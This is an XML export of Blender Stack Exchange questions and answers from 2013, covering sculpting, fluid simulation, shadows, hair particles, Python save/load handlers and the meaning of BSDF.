  <row Id="761" PostTypeId="2" ParentId="564" CreationDate="2013-06-09T12:14:22.843" Score="1" Body="&lt;p&gt;If you do not apply the scale of the object/mesh (ctrl+a select scale) before sculpting; brush strength will seem like its too light, thats why you only see effects when you set the strength to high numbers like 10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you also need to set you your clipping distance to a higher number if your working with a 2x2 km plane. (Press n on the viewport to open properties shelf and on the to view section set clip end to a high number/depends on your scene units and scene scale)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;dynatopo is meant for scketching the rough geometry and is not very suitable for full details.You can always create a basic topological skecth from dynatopo and then reproject it to a new plane with &quot;shrinkwrap&quot; modifier (be sure to select &quot;project&quot; from drop down menu inside the modifier)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after that you can go as high as 45 million polys on multires sculpting.(depends on the system) i can work with 63 million for example.&lt;/p&gt;&#xA;" OwnerUserId="445" LastActivityDate="2013-06-09T12:14:22.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="762" PostTypeId="5" CreationDate="2013-06-09T12:32:31.383" Score="0" Body="&lt;p&gt;Sculpt Mode is similar to Edit Mode in that it is used to alter the shape of a model, but Sculpt Mode uses a very different workflow: instead of dealing with individual elements (vertices, edges, and faces), an area of the model is altered using a brush. In other words, instead of selecting a group of vertices, Sculpt Mode manipulates geometry in the brush region of influence.&lt;/p&gt;&#xA;&lt;p&gt;Sculpting at  the &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/sculpt_paint/sculpting/index.html#sculpting&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-20T17:07:52.260" LastActivityDate="2020-10-20T17:07:52.260" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="763" PostTypeId="4" CreationDate="2013-06-09T12:32:31.383" Score="0" Body="Questions pertaining to Blender's built in sculpting tools and or plugins." OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-11T07:39:17.887" LastActivityDate="2013-06-11T07:39:17.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="764" PostTypeId="2" ParentId="722" CreationDate="2013-06-09T13:28:42.213" Score="-3" Body="&lt;p&gt;On-board Graphic cards are not much powerful.Its just one simple fact,if you want fast renders you will need a good graphic card.&#xA;Rendering time also depends on material. Suppose if you use SSS, you &quot;will&quot; need a graphic card.&lt;/p&gt;&#xA;" OwnerUserId="432" LastEditorUserId="14" LastEditDate="2014-01-03T14:40:39.857" LastActivityDate="2014-01-03T14:40:39.857" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="765" PostTypeId="2" ParentId="757" CreationDate="2013-06-09T13:44:26.253" Score="10" Body="&lt;p&gt;Blender supports &lt;em&gt;Object Color&lt;/em&gt; to override the &lt;em&gt;Material RGB Diffuse&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Object properties, set a color there (also possible via &lt;em&gt;Python&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Link&lt;/em&gt; all Objects/Meshes with a single &lt;em&gt;Material&lt;/em&gt;, with option &lt;em&gt;Object Color&lt;/em&gt; set.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="381" LastEditorUserId="20508" LastEditDate="2016-07-30T12:14:06.277" LastActivityDate="2016-07-30T12:14:06.277" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="766" PostTypeId="1" AcceptedAnswerId="898" CreationDate="2013-06-09T14:24:22.620" Score="9" ViewCount="11217" Body="&lt;p&gt;I would like to have a way of getting the design sheets(aka blueprints) like you can in CAD software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin or addon or some form of python script that can export a PDF(vector screenshot) of the GUI(primarily the 3D view)?&lt;/p&gt;&#xA;" OwnerUserId="453" LastEditorUserId="12" LastEditDate="2013-06-09T17:50:05.327" LastActivityDate="2020-01-11T22:10:44.793" Title="Can I export a PDF from Blender?" Tags="&lt;export&gt;" AnswerCount="5" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="767" PostTypeId="2" ParentId="302" CreationDate="2013-06-09T14:30:47.643" Score="0" Body="&lt;p&gt;Technically Blender has one originally math-python modules now ported to C++ therefore built-in subroutines, so you can't make the imports even if you replace the working python version as i did next.&#xA;so you wouldn't import numpy for example in the first attempts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so i tried really hard and i did. used PYTHONPATH and also the following then blender did run the alternative python but would not load BPY&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;addons=r&quot;C:\Program Files\Blender Foundation\Blender\2.67\scripts\addons&quot;&#xA;modules=r&quot;C:\Program Files\Blender Foundation\Blender\2.67\scripts\modules&quot;&#xA;startup=r&quot;C:\Program Files\Blender Foundation\Blender\2.67\scripts\startup&quot;&#xA;lib=r&quot;C:\Program Files\Blender Foundation\Blender\2.67\python\lib&quot;&amp;lt;br/&amp;gt;&#xA;DLLs=r&quot;c:\\Program Files\\Blender Foundation\\Blender\\2.67\\python\\DLLs&quot;&#xA;packages=r&quot;C:\\Program Files\\Blender Foundation\\Blender\\2.67\\python\\lib\\site-packages&quot;&#xA;python=r&quot;C:\\Program Files\\Blender Foundation\\Blender\\2.67\\python&quot;&#xA;&#xA;sys.path.append(addons)&#xA;sys.path.append(modules)&#xA;sys.path.append(startup)&#xA;sys.path.append(lib)&#xA;sys.path.append(DLLs)&#xA;sys.path.append(packages)&#xA;sys.path.append(python)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so i copied BPY.so&#xA;like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Linux:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cp ./bin/bpy.so /usr/lib/python3.3/site-packages/&#xA;cp --recursive ./bin/2.65 /usr/lib/python3.3/site-packages/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Windows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;copy bin\bpy.pyd C:\Python33\Lib\site-packages\&#xA;copy bin\*.dll C:\Python33\Lib\site-packages\&#xA;del C:\Python32\Lib\site-packages\python33.dll&#xA;xcopy /E bin\2.65 C:\Python33\&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and still nothing for import bpy&lt;/p&gt;&#xA;" OwnerUserId="453" LastEditorUserId="20508" LastEditDate="2016-07-18T20:30:16.413" LastActivityDate="2016-07-18T20:30:16.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="769" PostTypeId="2" ParentId="757" CreationDate="2013-06-09T14:52:32.470" Score="0" Body="&lt;p&gt;nono. over the global options there's something like &quot;Scene simplify&quot; it has a goal where you set the number of neperian reductions to the meshes working mainly to the Editor interface not sure. like 10 for a million vertexes you will only have to deal with 99 thousand vertexes which is way more adapted for the GUI interface and will save hundreds of wait cursors&lt;/p&gt;&#xA;" OwnerUserId="453" LastActivityDate="2013-06-09T14:52:32.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="771" PostTypeId="2" ParentId="766" CreationDate="2013-06-09T15:13:44.273" Score="2" Body="&lt;p&gt;At present, there is no such addon/plugin that I'm aware of. You can see which addons are currently available publicly on the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts&quot; rel=&quot;nofollow&quot;&gt;blender wiki&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all you want to do is convert a collection of images to pdf then there are several python pdf libraries to choose from, i've used &lt;a href=&quot;http://www.reportlab.com/software/opensource/&quot; rel=&quot;nofollow&quot;&gt;reportlab&lt;/a&gt; to generate a pdf from a &lt;a href=&quot;https://gist.github.com/zeffii/4962354&quot; rel=&quot;nofollow&quot;&gt;directory of images&lt;/a&gt;. But this might be considered off topic.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-09T15:19:56.330" LastActivityDate="2013-06-09T15:19:56.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="773" PostTypeId="1" CreationDate="2013-06-09T16:54:12.950" Score="10" ViewCount="47421" Body="&lt;p&gt;Is there a way to prevent &lt;em&gt;a single object&lt;/em&gt; from casting shadows?&#xA;If I shut down &quot;Cast Shadows&quot; on the light source then all shadows will be lost. That is not what I want. I want to be able to prevent a single object from casting shadows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A use case may be a laser. If I were to use a cylinder to model my laser, and that laser was positioned between a wall and a light source it will cast a shadow on the wall, but it should not cast a shadow.&lt;/p&gt;&#xA;" OwnerUserId="459" LastEditorUserId="-1" LastEditorDisplayName="user320" LastEditDate="2017-01-29T15:51:51.957" LastActivityDate="2020-08-19T17:34:17.997" Title="How do you keep a single object from casting a shadow?" Tags="&lt;rendering&gt;&lt;light&gt;" AnswerCount="4" CommentCount="5" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="774" PostTypeId="2" ParentId="773" CreationDate="2013-06-09T17:25:33.160" Score="17" Body="&lt;p&gt;Objects not casting shadows? easy, un-tick the &lt;code&gt;shadow&lt;/code&gt; box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SuEBk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;sup&gt;&lt;em&gt;In Cycles 2.79+, &lt;strong&gt;Ray Visibility&lt;/strong&gt; was renamed to &lt;strong&gt;Cycles Settings&lt;/strong&gt;.&lt;/em&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the lighting, Cycles simulates the physical behaviour of light with some reasonable accuracy. All techniques used in real photography can be applied to lighting setups in cycles, The video also discusses the composite of various render passes, I think you'll find they are all possible in Blender. Be specific about what you want to know and you will get accurate answers.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="30849" LastEditDate="2018-12-23T20:24:10.663" LastActivityDate="2018-12-23T20:24:10.663" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="775" PostTypeId="1" AcceptedAnswerId="779" CreationDate="2013-06-09T17:48:31.053" Score="17" ViewCount="9643" Body="&lt;p&gt;I am trying to do a water simulation. I have a small cup that I have created in blender (as an obstacle) and my water source (just an oval). My domain box is large enough to encompass both the glass and the water source:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a2Klf.png&quot; alt=&quot;my scene&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my settings for my domain:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NqEVQ.png&quot; alt=&quot;domain settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the default blender renderer. I have the cup setup as a collision for a water simulation and I have the sphere inside of the cup set as a fluid in a fluid simulation. When I bake the scene, here is what I get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KZbUl.png&quot; alt=&quot;My cup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the water is going through the cup, but the cup is having an effect on the water. Here is the rendered view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/52GOf.png&quot; alt=&quot;render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I keep the water in the cup??&lt;/p&gt;&#xA;" OwnerUserId="84" LastEditorUserId="12" LastEditDate="2013-06-10T01:52:38.333" LastActivityDate="2014-05-01T16:59:41.947" Title="Why does the water keep escaping in my fluid simulation?" Tags="&lt;fluid-simulation&gt;&lt;rigid-body-simulation&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="776" PostTypeId="2" ParentId="775" CreationDate="2013-06-09T17:54:42.147" Score="-3" Body="&lt;p&gt;You should make the cup a collider object so the water respects the walls. If you don't do that water will just pass through. Choose the cup go to physics tab and choose collision.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should work fine now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check here &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Physics/Fluid&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.4/Manual/Physics/Fluid&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Agree with CharlesL, but make sure your current pc configuration can handle it.&lt;/p&gt;&#xA;" OwnerUserId="459" LastEditorUserId="459" LastEditDate="2013-06-09T19:27:17.737" LastActivityDate="2013-06-09T19:27:17.737" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="777" PostTypeId="2" ParentId="775" CreationDate="2013-06-09T18:23:50.780" Score="2" Body="&lt;p&gt;A follow up on 00Ghz answer, I would recommend turning up the resolution of the fluid mesh. It looks like some of the water is coming through, simply because it's so low res(it'll also improve collision detection).&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-06-09T18:23:50.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="778" PostTypeId="2" ParentId="733" CreationDate="2013-06-09T18:24:56.117" Score="8" Body="&lt;p&gt;What i did here is use the images provided as a background image, then trace around them by extruding a vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3zDH9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in sideview / orthographic pull and push the internal vertices to give the character some body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6qSpd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't already know how to model, or use blender, these low poly characters are great things to practice.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-10T20:37:31.320" LastActivityDate="2013-06-10T20:37:31.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="779" PostTypeId="2" ParentId="775" CreationDate="2013-06-09T20:16:31.610" Score="11" Body="&lt;p&gt;As others have mentioned, it's the resolution that's key here. However, I see that you've baked at two separate resolutions: 120 for final and 45 for preview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see from the render view that the &quot;final&quot; quality bake has less &quot;escaping&quot; water. To preview that in your viewport without rendering, change the &quot;Viewport display&quot; dropdown to &quot;Final.&quot; The downside of this is that it may slow down your viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want even better quality, you could either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;increase the resolution, or:&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;D&lt;/kbd&gt; to linked-duplicate the cup object, then scale it down a tad (maybe 95%) and position it inside the real cup. Turn off the viewport and render visibility. Set its parent to the &quot;real&quot; cup, but mark both as collision targets (&lt;em&gt;Physics&lt;/em&gt; &amp;rarr; &lt;em&gt;Fluid&lt;/em&gt; &amp;rarr; &lt;em&gt;Obstacle&lt;/em&gt;). This will essentially shrink the bounds of your cup and may or may not completely solve the problem.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="372" LastEditorUserId="372" LastEditDate="2013-08-13T17:43:10.873" LastActivityDate="2013-08-13T17:43:10.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="780" PostTypeId="2" ParentId="48" CreationDate="2013-06-09T20:34:53.987" Score="33" Body="&lt;p&gt;If you don't want to use an addon, you can take advantage of the fact that the dodecahedron is the &lt;a href=&quot;http://en.wikipedia.org/wiki/Dual_polyhedron&quot; rel=&quot;noreferrer&quot;&gt;dual&lt;/a&gt; of the icosahedron.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add an icosphere (&lt;strong&gt;Add&lt;/strong&gt; &amp;rarr; &lt;strong&gt;Mesh&lt;/strong&gt; &amp;rarr; &lt;strong&gt;Icosphere&lt;/strong&gt;) with &lt;strong&gt;Subdivisions&lt;/strong&gt; at 1.&lt;/li&gt;&#xA;&lt;li&gt;Go into edit mode with &lt;kbd&gt;Tab&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Select all with &lt;kbd&gt;A&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; to &lt;strong&gt;Bevel&lt;/strong&gt; until you have an approximate dodecahedron:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rLgN9.png&quot; alt=&quot;approximate dodecahedron with bevel method&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;W&lt;/kbd&gt; and select &lt;strong&gt;Remove Doubles&lt;/strong&gt;. Increase the &lt;strong&gt;Merge Distance&lt;/strong&gt; until the vertex triples are merged. Et voil&amp;agrave;; you have a dodecahedron.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="372" LastActivityDate="2013-06-09T20:34:53.987" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="781" PostTypeId="1" AcceptedAnswerId="784" CreationDate="2013-06-09T21:12:06.397" Score="8" ViewCount="1076" Body="&lt;p&gt;If I create a Blender file with a single plane that has 10&amp;thinsp;000 particles of hair, the resulting file size is &lt;strong&gt;9.9&amp;nbsp;MB&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, before saving, I reduce the &quot;Number&quot; (RNA &lt;code&gt;ParticleSettings.count&lt;/code&gt;) to 1, the resulting file size is only &lt;strong&gt;435&amp;nbsp;KB&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the hair is randomly generated with a specified seed (&lt;code&gt;ParticleSystem.seed&lt;/code&gt;), I can open the 435&amp;nbsp;KB-file and set the number back to 10&amp;thinsp;000 and get the &lt;em&gt;exact same hair system&lt;/em&gt; generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In scenes where I have a lot of hair (especially grass, which can require millions of particles), I've seen differences as high as 50&amp;nbsp;MB. Taking into account the two backup files, that's 150&amp;nbsp;MB of disk (and, for me, cloud) space saved, which is a clear advantage. The downsides of this method, however, include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;It's cumbersome.&lt;/strong&gt; I don't want to have to remember to disable something before saving and re-enable it when I load.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;It's error-prone.&lt;/strong&gt; I find myself adding &lt;code&gt;README.txt&lt;/code&gt; files to my directories indicating the desired number of particles for each object, because otherwise I forget and my renders are inconsistent (all of a sudden the grass doubles).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;It's forgettable.&lt;/strong&gt; I've lost days of render time due to rendering a scene with a single grass particle because I've forgotten to reset the number. Obviously this is a human error problem, but it's not helped by Blender.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can attach a &quot;save hook&quot; and &quot;open hook&quot; to a file to do this automatically for me? I could easily write a Python script with custom settings for each particle system:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def hair_reduce():&#xA;    for ps in bpy.data.particles:&#xA;        if ps.type == 'HAIR' and not 'actual_hair_count' in ps:&#xA;            ps['actual_hair_count'] = ps.count&#xA;            ps.count = 1&#xA;&#xA;def hair_apply():&#xA;    for ps in bpy.data.particles:&#xA;        if ps.type == 'HAIR' and 'actual_hair_count' in ps:&#xA;            ps.count = int(ps['actual_hair_count'])&#xA;            del ps['actual_hair_count']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The trick, however, is to have these functions called when the file is saved or loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Can I attach a save/load hook to Blender, or otherwise perform an action when the file is saved or loaded?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="12" LastEditDate="2013-06-09T21:38:47.370" LastActivityDate="2013-06-09T22:23:30.107" Title="Can I perform an action when a file is saved or loaded?" Tags="&lt;scripting&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="782" PostTypeId="1" AcceptedAnswerId="792" CreationDate="2013-06-09T21:20:33.073" Score="24" ViewCount="61475" Body="&lt;p&gt;I've been trying to find this on the Blender Wiki, but I can't seem to find the details. I knew how to do it one time but I forgot how to do so now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you generate vertex groups for individual bones in an armature automatically?&lt;/p&gt;&#xA;" OwnerUserId="72" LastActivityDate="2015-07-03T15:54:26.583" Title="How can I automatically generate vertex groups for an armature?" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;vertex-groups&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="783" PostTypeId="2" ParentId="64" CreationDate="2013-06-09T21:20:51.640" Score="25" Body="&lt;p&gt;It is very important to add some small scale displacement to the water surface. This small scale detail is present even in closed spaces due to minor drafts of air, especially in large pools of water. My personal experience is that for best results you can use a combination of animated voronoi textures, like perlin noise does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This small detail makes it possible to have areas of water that are slightly more refractive or reflective than others. To separate the refraction and reflection parts, you use a standard fresnel factor connected to a mix shader node. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my example shader:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(play with index of refraction to achieve a different ratio of refraction to reflection depending on the angle of viewing)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/E1blj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/E1blj.png&quot; alt=&quot;Water with displacement&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is the resulting water:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tfFfs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tfFfs.png&quot; alt=&quot;water displacement result&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course on indoor scenes you will need many samples or clever lighting to avoid too many fireflies.&lt;/p&gt;&#xA;" OwnerUserId="465" LastEditorUserId="241" LastEditDate="2020-05-09T16:15:24.230" LastActivityDate="2020-05-09T16:15:24.230" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="784" PostTypeId="2" ParentId="781" CreationDate="2013-06-09T21:24:10.893" Score="9" Body="&lt;p&gt;We can register handlers that will be executed before, or after, specific operations. The handler lists are all in &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.app.handlers.html&quot;&gt;bpy.app.handlers&lt;/a&gt;, and looking at your requirement, the handler list to use is &lt;code&gt;save_pre&lt;/code&gt; (executed before saving) and &lt;code&gt;load_post&lt;/code&gt; (executed after loading).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function needs to be persistent, so they won't disappear every time a new file is loaded. Here's an example of how to register it, edited from my own addon needing such feature:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.app.handlers import persistent&#xA;&#xA;@persistent&#xA;def hair_reduce(dummy):&#xA;    print('hair_reduce')&#xA;&#xA;@persistent&#xA;def hair_apply(dummy):&#xA;    print('hair_apply')&#xA;&#xA;def register():&#xA;    if not hair_apply in bpy.app.handlers.load_post:&#xA;        bpy.app.handlers.load_post.append(hair_apply)&#xA;    if not hair_reduce in bpy.app.handlers.save_pre:&#xA;        bpy.app.handlers.save_pre.append(hair_reduce)&#xA;&#xA;def unregister():&#xA;    if hair_apply in bpy.app.handlers.load_post:&#xA;        bpy.app.handlers.load_post.remove(hair_apply)&#xA;    if hair_reduce in bpy.app.handlers.save_pre:&#xA;        bpy.app.handlers.save_pre.remove(hair_reduce)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-06-09T22:23:30.107" LastActivityDate="2013-06-09T22:23:30.107" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="785" PostTypeId="1" AcceptedAnswerId="786" CreationDate="2013-06-09T21:32:16.843" Score="90" ViewCount="36047" Body="&lt;p&gt;The term &quot;BSDF&quot; is common in Cycles shaders such as &quot;Diffuse BSDF&quot; and &quot;Glass BSDF&quot; but is not present in all names (&quot;Emission&quot; and &quot;Mix Shader&quot; are two such examples).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What exactly is a BSDF?&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="29301" LastEditDate="2018-10-13T18:35:50.730" LastActivityDate="2018-10-13T18:35:50.730" Title="What is a BSDF?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;shaders&gt;&lt;terminology&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="30" ContentLicense="CC BY-SA 3.0" />
  <row Id="786" PostTypeId="2" ParentId="785" CreationDate="2013-06-09T21:32:16.843" Score="122" Body="&lt;p&gt;BSDF stands for &lt;a href=&quot;http://en.wikipedia.org/wiki/Bidirectional_scattering_distribution_function&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;bidirectional scattering distribution function&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, it's a mathematical function that determines the probability that a specific ray of light will be reflected (&lt;em&gt;scattered&lt;/em&gt;) at a given angle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles is a probabilistic ray-tracing engine. It incorporates randomness by tracing the paths of rays of light at slightly different angles. The number of rays per pixel is determined by the sample count; &lt;a href=&quot;http://en.wikipedia.org/wiki/Monte_Carlo_method#Computer_graphics&quot; rel=&quot;noreferrer&quot;&gt;more samples means a more accurate image&lt;/a&gt;. Each time a ray bounces, the BSDF determines in which direction the ray will bounce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some shaders, like &quot;Emission,&quot; don't have the suffix BSDF because they don't reflect light. Emission shaders, as the name implies, &lt;em&gt;emit&lt;/em&gt; light, while Mix Shaders simply take the weighted average of the BSDF of two different shaders, with the weight determined by the Factor input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also notice that the Subsurface Scattering shader output is called a &quot;BSSRDF.&quot; Similarly, this is a &lt;strong&gt;bidirectional surface scattering reflectance distribution function&lt;/strong&gt;, because SSS materials don't simply reflect light; they absorb it and then reflect it later:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://upload.wikimedia.org/wikipedia/commons/thumb/b/b4/BSSDF01_400.svg/500px-BSSDF01_400.svg.png&quot; alt=&quot;BSDF vs BSSRDF&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;(images from &lt;a href=&quot;http://en.wikipedia.org/wiki/Bidirectional_scattering_distribution_function&quot; rel=&quot;noreferrer&quot;&gt;Wikipedia&lt;/a&gt;, created by &lt;a href=&quot;http://en.wikipedia.org/wiki/User:Jurohi&quot; rel=&quot;noreferrer&quot;&gt;User:Jurohi&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;In short, &lt;strong&gt;the suffix BSDF means that the shader will scatter light.&lt;/strong&gt; The type of shader determines the distribution function, which in turn determines how the light is scattered and how the material appears.&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:43.803" LastActivityDate="2016-02-11T22:23:42.047" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="787" PostTypeId="2" ParentId="67" CreationDate="2013-06-09T21:48:10.293" Score="3" Body="&lt;p&gt;If you're looking to make a model more low-poly, then try using the &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/modeling/modifiers/generate/decimate.html#decimate-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;&lt;strong&gt;Decimate modifier&lt;/strong&gt;&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="15924" LastEditDate="2020-10-20T12:23:10.210" LastActivityDate="2020-10-20T12:23:10.210" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
